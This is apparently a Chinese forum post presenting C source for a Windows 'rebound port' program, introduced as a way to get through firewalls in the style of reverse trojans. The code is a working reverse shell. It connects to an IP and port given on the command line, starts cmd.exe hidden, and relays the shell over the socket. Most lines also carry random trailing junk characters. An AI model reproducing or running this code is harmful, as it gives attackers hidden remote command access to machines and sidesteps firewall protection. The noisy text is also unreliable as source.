这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 WIw*//nw
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/* ============================== ^MvBW6#1
Rebound port in Windows NT !d1a9los
By wind,2006/7 _W>xFBy
===============================*/ [6\b(kS+
#include `r&]Ydu:
#include 7Q?^wx
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#pragma comment(lib,"wsock32.lib") b[ ~-b
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void OutputShell(); y N,grU(
SOCKET sClient; wQ81wfr1:
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; =G`g-E2
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void main(int argc,char **argv) ;KT5qiqYH
{ ]l,,en5V
WSADATA stWsaData; v4F+^0?
int nRet; P[tYu:
SOCKADDR_IN stSaiClient,stSaiServer; 22 feYm|
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if(argc != 3) -L!lJ
{ XJ7pX1nf
printf("Useage:\n\rRebound DestIP DestPort\n"); 664D5f#EJ
return; z#2n+hwE
} S1U[{R?,
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WSAStartup(MAKEWORD(2,2),&stWsaData); <jBRUa[j_
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); :TkMS8
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stSaiClient.sin_family = AF_INET; `UTUrM
stSaiClient.sin_port = htons(0); [Kaa{+,(
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); %^[D+1ULb
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) =Q*3\)7
{ R[@}Lg7+v
printf("Bind Socket Failed!\n"); X!m
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return; ilAhw4A
} d0;?GQYn:
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stSaiServer.sin_family = AF_INET; <,\U,jU_
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); ^9kx3Pw?8
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); nlA:C>=
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) Y(R.<LtY
{ $=) Pky-~
printf("Connect Error!"); {(I":rt#
return; nu(7YYCM$
} o=Y'ns^a(
OutputShell(); JfmYr47Pv
} W2'!Pc,W
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void OutputShell() x,ZF+vE
{ w^U{e
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char szBuff[1024]; -gUp/#l1
SECURITY_ATTRIBUTES stSecurityAttributes; %Aqf=R_^
OSVERSIONINFO stOsversionInfo; -+0kay%
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; $m A2AI
STARTUPINFO stStartupInfo; 6[SIDOp*^
char *szShell; b`@J"E}
PROCESS_INFORMATION stProcessInformation; bc3`x1)\^
unsigned long lBytesRead;
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); CP0'pL=;
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); MdmN7>
stSecurityAttributes.lpSecurityDescriptor = 0; X-#&]^d
stSecurityAttributes.bInheritHandle = TRUE; l qKj;'
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); z+- o}i
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); %"eR0Lj+zq
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); ZvMU3])u
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; um}q @BU
stStartupInfo.wShowWindow = SW_HIDE; 6?;z\AP&
stStartupInfo.hStdInput = hReadPipe; RB|i<`Z
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; 8g
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GetVersionEx(&stOsversionInfo); 2`TV(U@
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switch(stOsversionInfo.dwPlatformId) Ka_;~LS>(
{ Fk^N7EJ:$
case 1: *UJ4\
szShell = "command.com"; ;S '?l0
break; ,Aai-AGG@
default: dvU{U@:sz
szShell = "cmd.exe"; {_/ o' 6
break; I7~) q`
} ~f[ Y;
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); kwL|gO1L
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send(sClient,szMsg,77,0); p4*L}Q
while(1) &*%x]fQ@
{ x~vNUyEN)
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); "r*`*1
if(lBytesRead) QXN_ ?E,g/
{ *BdH
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ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); &N._}ts
send(sClient,szBuff,lBytesRead,0); JWI Y0iP
} &T~X`{V]`
else @OkoT:
{ EK Vcz'w
lBytesRead=recv(sClient,szBuff,1024,0); 0%dOi
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if(lBytesRead<=0) break; Kk6=61} A
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); bd~m'cob>
} kS8?N`2}LV
} b^Re947{g
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return; @uldD"MJ<]
}